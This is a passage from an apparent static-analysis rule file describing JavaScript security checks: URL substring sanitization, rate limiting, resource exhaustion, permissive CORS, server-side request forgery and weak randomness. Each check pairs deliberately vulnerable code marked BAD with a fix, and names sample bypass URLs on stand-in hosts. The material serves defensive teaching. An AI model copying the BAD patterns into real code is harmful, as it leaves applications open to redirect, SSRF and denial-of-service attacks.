subdomains, and not some malicious site.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param(\"url\");\n    // BAD: the host of `url` may be controlled by an attacker\n    if (url.includes(\"example.com\")) {\n        res.redirect(url);\n    }\n});\n\n```\nThe substring check is, however, easy to bypass. For example by embedding `example.com` in the path component: `http://evil-example.net/example.com`, or in the query string component: `http://evil-example.net/?x=example.com`. Address these shortcomings by checking the host of the parsed URL instead:\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param(\"url\"),\n        host = urlLib.parse(url).host;\n    // BAD: the host of `url` may be controlled by an attacker\n    if (host.includes(\"example.com\")) {\n        res.redirect(url);\n    }\n});\n\n```\nThis is still not a sufficient check as the following URLs bypass it: `http://evil-example.com` `http://example.com.evil-example.net`. Instead, use an explicit whitelist of allowed hosts to make the redirect secure:\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param('url'),\n        host = urlLib.parse(url).host;\n    // GOOD: the host of `url` can not be controlled by an attacker\n    let allowedHosts = [\n        'example.com',\n        'beta.example.com',\n        'www.example.com'\n    ];\n    if (allowedHosts.includes(host)) {\n        res.redirect(url);\n    }\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n","markdown":"# Incomplete URL substring sanitization\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Usually, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nHowever, treating the URL as a string and checking if one of the allowed hosts is a substring of the URL is very prone to errors. Malicious URLs can bypass such security checks by embedding one of the allowed hosts in an unexpected location.\n\nEven if the substring check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when the check succeeds accidentally.\n\n\n## Recommendation\nParse a URL before performing a check on its host value, and ensure that the check handles arbitrary subdomain sequences correctly.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param(\"url\");\n    // BAD: the host of `url` may be controlled by an attacker\n    if (url.includes(\"example.com\")) {\n        res.redirect(url);\n    }\n});\n\n```\nThe substring check is, however, easy to bypass. For example by embedding `example.com` in the path component: `http://evil-example.net/example.com`, or in the query string component: `http://evil-example.net/?x=example.com`. Address these shortcomings by checking the host of the parsed URL instead:\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param(\"url\"),\n        host = urlLib.parse(url).host;\n    // BAD: the host of `url` may be controlled by an attacker\n    if (host.includes(\"example.com\")) {\n        res.redirect(url);\n    }\n});\n\n```\nThis is still not a sufficient check as the following URLs bypass it: `http://evil-example.com` `http://example.com.evil-example.net`. Instead, use an explicit whitelist of allowed hosts to make the redirect secure:\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param('url'),\n        host = urlLib.parse(url).host;\n    // GOOD: the host of `url` can not be controlled by an attacker\n    let allowedHosts = [\n        'example.com',\n        'beta.example.com',\n        'www.example.com'\n    ];\n    if (allowedHosts.includes(host)) {\n        res.redirect(url);\n    }\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-020"],"description":"Security checks on the substrings of an unparsed URL are often vulnerable to bypassing.","id":"js/incomplete-url-substring-sanitization","kind":"problem","name":"Incomplete URL substring sanitization","precision":"high","problem.severity":"warning","security-severity":"7.8"}},{"id":"js/missing-rate-limiting","name":"js/missing-rate-limiting","shortDescription":{"text":"Missing rate limiting"},"fullDescription":{"text":"An HTTP request handler that performs expensive operations without restricting the rate at which operations can be carried out is vulnerable to denial-of-service attacks."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Missing rate limiting\nHTTP request handlers should not perform expensive operations such as accessing the file system, executing an operating system command or interacting with a database without limiting the rate at which requests are accepted. Otherwise, the application becomes vulnerable to denial-of-service attacks where an attacker can cause the application to crash or become unresponsive by issuing a large number of requests at the same time.\n\n\n## Recommendation\nA rate-limiting middleware should be used to prevent such attacks.\n\n\n## Example\nThe following example shows an Express application that serves static files without rate limiting:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/:path', function(req, res) {\n  let path = req.params.path;\n  if (isValidPath(path))\n    res.sendFile(path);\n});\n\n```\nTo prevent denial-of-service attacks, the `express-rate-limit` package can be used:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\n// set up rate limiter: maximum of five requests per minute\nvar RateLimit = require('express-rate-limit');\nvar limiter = RateLimit({\n  windowMs: 15 * 60 * 1000, // 15 minutes\n  max: 100, // max 100 requests per windowMs\n});\n\n// apply rate limiter to all requests\napp.use(limiter);\n\napp.get('/:path', function(req, res) {\n  let path = req.params.path;\n  if (isValidPath(path))\n    res.sendFile(path);\n});\n\n```\n\n## References\n* OWASP: [Denial of Service Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html).\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* NPM: [express-rate-limit](https://www.npmjs.com/package/express-rate-limit).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n* Common Weakness Enumeration: [CWE-307](https://cwe.mitre.org/data/definitions/307.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n","markdown":"# Missing rate limiting\nHTTP request handlers should not perform expensive operations such as accessing the file system, executing an operating system command or interacting with a database without limiting the rate at which requests are accepted. Otherwise, the application becomes vulnerable to denial-of-service attacks where an attacker can cause the application to crash or become unresponsive by issuing a large number of requests at the same time.\n\n\n## Recommendation\nA rate-limiting middleware should be used to prevent such attacks.\n\n\n## Example\nThe following example shows an Express application that serves static files without rate limiting:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/:path', function(req, res) {\n  let path = req.params.path;\n  if (isValidPath(path))\n    res.sendFile(path);\n});\n\n```\nTo prevent denial-of-service attacks, the `express-rate-limit` package can be used:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\n// set up rate limiter: maximum of five requests per minute\nvar RateLimit = require('express-rate-limit');\nvar limiter = RateLimit({\n  windowMs: 15 * 60 * 1000, // 15 minutes\n  max: 100, // max 100 requests per windowMs\n});\n\n// apply rate limiter to all requests\napp.use(limiter);\n\napp.get('/:path', function(req, res) {\n  let path = req.params.path;\n  if (isValidPath(path))\n    res.sendFile(path);\n});\n\n```\n\n## References\n* OWASP: [Denial of Service Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html).\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* NPM: [express-rate-limit](https://www.npmjs.com/package/express-rate-limit).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n* Common Weakness Enumeration: [CWE-307](https://cwe.mitre.org/data/definitions/307.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"},"properties":{"tags":["security","external/cwe/cwe-770","external/cwe/cwe-307","external/cwe/cwe-400"],"description":"An HTTP request handler that performs expensive operations without\n              restricting the rate at which operations can be carried out is vulnerable\n              to denial-of-service attacks.","id":"js/missing-rate-limiting","kind":"problem","name":"Missing rate limiting","precision":"high","problem.severity":"warning","security-severity":"7.5"}},{"id":"js/resource-exhaustion","name":"js/resource-exhaustion","shortDescription":{"text":"Resource exhaustion"},"fullDescription":{"text":"Allocating objects or timers with user-controlled sizes or durations can cause resource exhaustion."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Resource exhaustion\nApplications are constrained by how many resources they can make use of. Failing to respect these constraints may cause the application to be unresponsive or crash. It is therefore problematic if attackers can control the sizes or lifetimes of allocated objects.\n\n\n## Recommendation\nEnsure that attackers can not control object sizes and their lifetimes. If object sizes and lifetimes must be controlled by external parties, ensure you restrict the object sizes and lifetimes so that they are within acceptable ranges.\n\n\n## Example\nThe following example allocates a buffer with a user-controlled size.\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet buffer = Buffer.alloc(size); // BAD\n\n\t// ... use the buffer\n});\n```\nThis is problematic since an attacker can choose a size that makes the application run out of memory. Even worse, in older versions of Node.js, this could leak confidential memory. To prevent such attacks, limit the buffer size:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet buffer = Buffer.alloc(size); // GOOD\n\n\t// ... use the buffer\n});\n```\n\n## Example\nAs another example, consider an application that allocates an array with a user-controlled size, and then fills it with values:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet dogs = new Array(size).fill(\"dog\"); // BAD\n\n\t// ... use the dog\n});\n```\nThe allocation of the array itself is not problematic since arrays are allocated sparsely, but the subsequent filling of the array will take a long time, causing the application to be unresponsive, or even run out of memory. Again, a limit on the size will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet dogs = new Array(size).fill(\"dog\"); // GOOD\n\n\t// ... use the dogs\n});\n```\n\n## Example\nFinally, the following example lets a user choose a delay after which a function is executed:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tsetTimeout(f, delay); // BAD\n\n});\n\n```\nThis is problematic because a large delay essentially makes the application wait indefinitely before executing the function. Repeated registrations of such delays will therefore use up all of the memory in the application. A limit on the delay will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tif (delay > 1000) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tsetTimeout(f, delay); // GOOD\n\n});\n\n```\n\n## References\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n","markdown":"# Resource exhaustion\nApplications are constrained by how many resources they can make use of. Failing to respect these constraints may cause the application to be unresponsive or crash. It is therefore problematic if attackers can control the sizes or lifetimes of allocated objects.\n\n\n## Recommendation\nEnsure that attackers can not control object sizes and their lifetimes. If object sizes and lifetimes must be controlled by external parties, ensure you restrict the object sizes and lifetimes so that they are within acceptable ranges.\n\n\n## Example\nThe following example allocates a buffer with a user-controlled size.\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet buffer = Buffer.alloc(size); // BAD\n\n\t// ... use the buffer\n});\n```\nThis is problematic since an attacker can choose a size that makes the application run out of memory. Even worse, in older versions of Node.js, this could leak confidential memory. To prevent such attacks, limit the buffer size:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet buffer = Buffer.alloc(size); // GOOD\n\n\t// ... use the buffer\n});\n```\n\n## Example\nAs another example, consider an application that allocates an array with a user-controlled size, and then fills it with values:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet dogs = new Array(size).fill(\"dog\"); // BAD\n\n\t// ... use the dog\n});\n```\nThe allocation of the array itself is not problematic since arrays are allocated sparsely, but the subsequent filling of the array will take a long time, causing the application to be unresponsive, or even run out of memory. Again, a limit on the size will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet dogs = new Array(size).fill(\"dog\"); // GOOD\n\n\t// ... use the dogs\n});\n```\n\n## Example\nFinally, the following example lets a user choose a delay after which a function is executed:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tsetTimeout(f, delay); // BAD\n\n});\n\n```\nThis is problematic because a large delay essentially makes the application wait indefinitely before executing the function. Repeated registrations of such delays will therefore use up all of the memory in the application. A limit on the delay will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tif (delay > 1000) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tsetTimeout(f, delay); // GOOD\n\n});\n\n```\n\n## References\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n"},"properties":{"tags":["security","external/cwe/cwe-400","external/cwe/cwe-770"],"description":"Allocating objects or timers with user-controlled\n              sizes or durations can cause resource exhaustion.","id":"js/resource-exhaustion","kind":"path-problem","name":"Resource exhaustion","precision":"high","problem.severity":"warning","security-severity":"7.5"}},{"id":"js/cors-permissive-configuration","name":"js/cors-permissive-configuration","shortDescription":{"text":"Permissive CORS configuration"},"fullDescription":{"text":"Cross-origin resource sharing (CORS) policy allows overly broad access."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Permissive CORS configuration\nA server can use CORS (Cross-Origin Resource Sharing) to relax the restrictions imposed by the Same-Origin Policy, allowing controlled, secure cross-origin requests when necessary.\n\nA server with an overly permissive CORS configuration may inadvertently expose sensitive data or enable CSRF attacks, which allow attackers to trick users into performing unwanted operations on websites they're authenticated to.\n\n\n## Recommendation\nWhen the `origin` is set to `true`, the server accepts requests from any origin, potentially exposing the system to CSRF attacks. Use `false` as the origin value or implement a whitelist of allowed origins instead.\n\nWhen the `origin` is set to `null`, it can be exploited by an attacker who can deceive a user into making requests from a `null` origin, often hosted within a sandboxed iframe.\n\nIf the `origin` value is user-controlled, ensure that the data is properly sanitized and validated against a whitelist of allowed origins.\n\n\n## Example\nIn the following example, `server_1` accepts requests from any origin because the value of `origin` is set to `true`. `server_2` uses user-controlled data for the origin without validation.\n\n\n```javascript\nimport { ApolloServer } from 'apollo-server';\nvar https = require('https'),\n    url = require('url');\n\nvar server = https.createServer(function () { });\n\nserver.on('request', function (req, res) {\n    // BAD: origin is too permissive\n    const server_1 = new ApolloServer({\n        cors: { origin: true }\n    });\n\n    let user_origin = url.parse(req.url, true).query.origin;\n    // BAD: CORS is controlled by user\n    const server_2 = new ApolloServer({\n        cors: { origin: user_origin }\n    });\n});\n```\nTo fix these issues, `server_1` uses a restrictive CORS configuration that is not vulnerable to CSRF attacks. `server_2` properly validates user-controlled data against a whitelist before using it.\n\n\n```javascript\nimport { ApolloServer } from 'apollo-server';\nvar https = require('https'),\n    url = require('url');\n\nvar server = https.createServer(function () { });\n\nserver.on('request', function (req, res) {\n    // GOOD: origin is restrictive\n    const server_1 = new ApolloServer({\n        cors: { origin: false }\n    });\n\n    let user_origin = url.parse(req.url, true).query.origin;\n    // GOOD: user data is properly sanitized\n    const server_2 = new ApolloServer({\n        cors: { origin: (user_origin === \"https://allowed1.com\" || user_origin === \"https://allowed2.com\") ? user_origin : false }\n    });\n});\n```\n\n## References\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin).\n* W3C: [CORS for developers, Advice for Resource Owners](https://w3c.github.io/webappsec-cors-for-developers/#resources).\n* Common Weakness Enumeration: [CWE-942](https://cwe.mitre.org/data/definitions/942.html).\n","markdown":"# Permissive CORS configuration\nA server can use CORS (Cross-Origin Resource Sharing) to relax the restrictions imposed by the Same-Origin Policy, allowing controlled, secure cross-origin requests when necessary.\n\nA server with an overly permissive CORS configuration may inadvertently expose sensitive data or enable CSRF attacks, which allow attackers to trick users into performing unwanted operations on websites they're authenticated to.\n\n\n## Recommendation\nWhen the `origin` is set to `true`, the server accepts requests from any origin, potentially exposing the system to CSRF attacks. Use `false` as the origin value or implement a whitelist of allowed origins instead.\n\nWhen the `origin` is set to `null`, it can be exploited by an attacker who can deceive a user into making requests from a `null` origin, often hosted within a sandboxed iframe.\n\nIf the `origin` value is user-controlled, ensure that the data is properly sanitized and validated against a whitelist of allowed origins.\n\n\n## Example\nIn the following example, `server_1` accepts requests from any origin because the value of `origin` is set to `true`. `server_2` uses user-controlled data for the origin without validation.\n\n\n```javascript\nimport { ApolloServer } from 'apollo-server';\nvar https = require('https'),\n    url = require('url');\n\nvar server = https.createServer(function () { });\n\nserver.on('request', function (req, res) {\n    // BAD: origin is too permissive\n    const server_1 = new ApolloServer({\n        cors: { origin: true }\n    });\n\n    let user_origin = url.parse(req.url, true).query.origin;\n    // BAD: CORS is controlled by user\n    const server_2 = new ApolloServer({\n        cors: { origin: user_origin }\n    });\n});\n```\nTo fix these issues, `server_1` uses a restrictive CORS configuration that is not vulnerable to CSRF attacks. `server_2` properly validates user-controlled data against a whitelist before using it.\n\n\n```javascript\nimport { ApolloServer } from 'apollo-server';\nvar https = require('https'),\n    url = require('url');\n\nvar server = https.createServer(function () { });\n\nserver.on('request', function (req, res) {\n    // GOOD: origin is restrictive\n    const server_1 = new ApolloServer({\n        cors: { origin: false }\n    });\n\n    let user_origin = url.parse(req.url, true).query.origin;\n    // GOOD: user data is properly sanitized\n    const server_2 = new ApolloServer({\n        cors: { origin: (user_origin === \"https://allowed1.com\" || user_origin === \"https://allowed2.com\") ? user_origin : false }\n    });\n});\n```\n\n## References\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin).\n* W3C: [CORS for developers, Advice for Resource Owners](https://w3c.github.io/webappsec-cors-for-developers/#resources).\n* Common Weakness Enumeration: [CWE-942](https://cwe.mitre.org/data/definitions/942.html).\n"},"properties":{"tags":["security","external/cwe/cwe-942"],"description":"Cross-origin resource sharing (CORS) policy allows overly broad access.","id":"js/cors-permissive-configuration","kind":"path-problem","name":"Permissive CORS configuration","precision":"high","problem.severity":"warning","security-severity":"6.0"}},{"id":"js/request-forgery","name":"js/request-forgery","shortDescription":{"text":"Server-side request forgery"},"fullDescription":{"text":"Making a network request with user-controlled data in the URL allows for request forgery attacks."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Server-side request forgery\nDirectly incorporating user input in the URL of an outgoing HTTP request can enable a request forgery attack, in which the request is altered to target an unintended API endpoint or resource. If the server performing the request is connected to an internal network, this can give an attacker the means to bypass the network boundary and make requests against internal services. A forged request may perform an unintended action on behalf of the attacker, or cause information leak if redirected to an external server or if the request response is fed back to the user. It may also compromise the server making the request, if the request response is handled in an unsafe way.\n\n\n## Recommendation\nRestrict user inputs in the URL of an outgoing request, in particular:\n\n* Avoid user input in the hostname of the URL. Pick the hostname from an allow-list instead of constructing it directly from user input.\n* Take care when user input is part of the pathname of the URL. Restrict the input so that path traversal (\"`../`\") cannot be used to redirect the request to an unintended endpoint.\n\n## Example\nThe following example shows an HTTP request parameter being used directly in the URL of a request without validating the input, which facilitates an SSRF attack. The request `http.get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `\"internal.example.com/#\"` as the target, causing the URL used in the request to be `\"https://internal.example.com/#.example.com/data\"`.\n\nA request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine.\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n    const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n    // BAD: `target` is controlled by the attacker\n    http.get('https://' + target + \".example.com/data/\", res => {\n        // process request response ...\n    });\n\n});\n\n```\nOne way to remedy the problem is to use the user input to select a known fixed string before performing the request:\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n    const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n    let subdomain;\n    if (target === 'EU') {\n        subdomain = \"europe\"\n    } else {\n        subdomain = \"world\"\n    }\n\n    // GOOD: `subdomain` is controlled by the server\n    http.get('https://' + subdomain + \".example.com/data/\", res => {\n        // process request response ...\n    });\n\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html).\n","markdown":"# Server-side request forgery\nDirectly incorporating user input in the URL of an outgoing HTTP request can enable a request forgery attack, in which the request is altered to target an unintended API endpoint or resource. If the server performing the request is connected to an internal network, this can give an attacker the means to bypass the network boundary and make requests against internal services. A forged request may perform an unintended action on behalf of the attacker, or cause information leak if redirected to an external server or if the request response is fed back to the user. It may also compromise the server making the request, if the request response is handled in an unsafe way.\n\n\n## Recommendation\nRestrict user inputs in the URL of an outgoing request, in particular:\n\n* Avoid user input in the hostname of the URL. Pick the hostname from an allow-list instead of constructing it directly from user input.\n* Take care when user input is part of the pathname of the URL. Restrict the input so that path traversal (\"`../`\") cannot be used to redirect the request to an unintended endpoint.\n\n## Example\nThe following example shows an HTTP request parameter being used directly in the URL of a request without validating the input, which facilitates an SSRF attack. The request `http.get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `\"internal.example.com/#\"` as the target, causing the URL used in the request to be `\"https://internal.example.com/#.example.com/data\"`.\n\nA request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine.\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n    const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n    // BAD: `target` is controlled by the attacker\n    http.get('https://' + target + \".example.com/data/\", res => {\n        // process request response ...\n    });\n\n});\n\n```\nOne way to remedy the problem is to use the user input to select a known fixed string before performing the request:\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n    const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n    let subdomain;\n    if (target === 'EU') {\n        subdomain = \"europe\"\n    } else {\n        subdomain = \"world\"\n    }\n\n    // GOOD: `subdomain` is controlled by the server\n    http.get('https://' + subdomain + \".example.com/data/\", res => {\n        // process request response ...\n    });\n\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html).\n"},"properties":{"tags":["security","external/cwe/cwe-918"],"description":"Making a network request with user-controlled data in the URL allows for request forgery attacks.","id":"js/request-forgery","kind":"path-problem","name":"Server-side request forgery","precision":"high","problem.severity":"error","security-severity":"9.1"}},{"id":"js/insecure-randomness","name":"js/insecure-randomness","shortDescription":{"text":"Insecure randomness"},"fullDescription":{"text":"Using a cryptographically weak pseudo-random number generator to generate a security-sensitive value may allow an attacker to predict what value will be generated."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Insecure randomness\nUsing a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value.\n\nPseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations.\n\n\n## Recommendation\nUse a cryptographically secure pseudo-random number generator if the output is to be used in a security-sensitive context. As a rule of thumb, a value should be considered \"security-sensitive\" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user.\n\nFor JavaScript on the NodeJS platform, `crypto.getRandomBytes` provides a cryptographically secure pseudo-random byte generator. Note that the conversion from bytes to numbers can introduce bias that breaks the security.\n\nFor JavaScript in the browser, `crypto.getRandomValues` provides a cryptographically secure pseudo-random number generator.\n\n\n## Example\nThe following examples show different ways of generating a password.\n\nIn the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Math.random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password.\n\n\n```javascript\nfunction insecurePassword() {\n    // BAD: the random suffix is not cryptographically secure\n    var suffix = Math.random();\n    var password = \"myPassword\" + suffix;\n    return password;\n}\n\n```\nIn the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers.\n\n\n```javascript\nfunction securePassword() {\n    // GOOD: the random suffix is cryptographically secure\n    var suffix = window.crypto.getRandomValues(new Uint32Array(1))[0];\n    var password = \"myPassword\" + suffix;\n    \n    // GOOD: if a random value between 0 and 1 is desired\n    var secret = window.crypto.getRandomValues(new Uint32Array(1))[0] * Math.pow(2,-32);\n}\n\n```\n\n## References\n* Wikipedia: [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator).\n* Mozilla Developer Network: [Crypto: getRandomValues()](https://developer.mozilla.org/en-US/docs/Web/API/Crypto/getRandomValues).\n* NodeJS: [crypto.randomBytes](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback)\n* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html).\n","markdown":"# Insecure randomness\nUsing a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value.\n\nPseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations.\n\n\n## Recommendation\nUse a cryptographically secure pseudo-random number generator if the output is to be used in a security-sensitive context. As a rule of thumb, a value should be considered \"security-sensitive\" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user.\n\nFor JavaScript on the NodeJS platform, `crypto.getRandomBytes` provides a cryptographically secure pseudo-random byte generator. Note that the conversion from bytes to numbers can introduce bias that breaks the security.\n\nFor JavaScript in the browser, `crypto.getRandomValues` provides a cryptographically secure pseudo-random number generator.\n\n\n## Example\nThe following examples show different ways of generating a password.\n\nIn the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Math.random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password.\n\n\n```javascript\nfunction insecurePassword() {\n    // BAD: the random suffix is not cryptographically secure\n    var suffix = Math.random();\n    var password = \"myPassword\" + suffix;\n    return password;\n}\n\n```\nIn the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers.\n\n\n```javascript\nfunction securePassword() {\n    // GOOD: the random suffix is cryptographically secure\n    var suffix = window.crypto.getRandomValues(new Uint32Array(1))[0];\n    var password = \"myPassword\" + suffix;\n    \n    // GOOD: if a random value between 0 and 1 is desired\n    var secret = window.crypto.getRandomValues(new Uint32Array(1))[0] * Math.pow(2,-32);\n}\n\n```\n\n## References\n* Wikipedia: [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator).\n* Mozilla Developer Network: [Crypto: getRandomValues()](https://developer.mozilla.org/en-US/docs/Web/API/Crypto/getRandomValues).\n* NodeJS: [crypto.randomBytes](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback)\n* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html).\n"},"properties":{"tags":["security","external/cwe/cwe-338"],"description":"Using a cryptographically weak pseudo-random number generator to generate a\n              security-sensitive value may allow an attacker to predict what value will\n              be generated.","id":"js/insecure-randomness","kind":"path-problem","name":"Insecure randomness","precision":"high","problem.severity":"warning","security-severity":"7.8"}},{"id":"js/stack-trace-exposure","name":"js/stack-trace-exposure","shortDescription":{"text":"Information exposure through a stack trace"},"fullDescription":{"text":"Propagating stack trace information to an external user can unintentionally reveal implementation details that are useful to an attacker for developing a subsequent exploit."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Information exposure through a 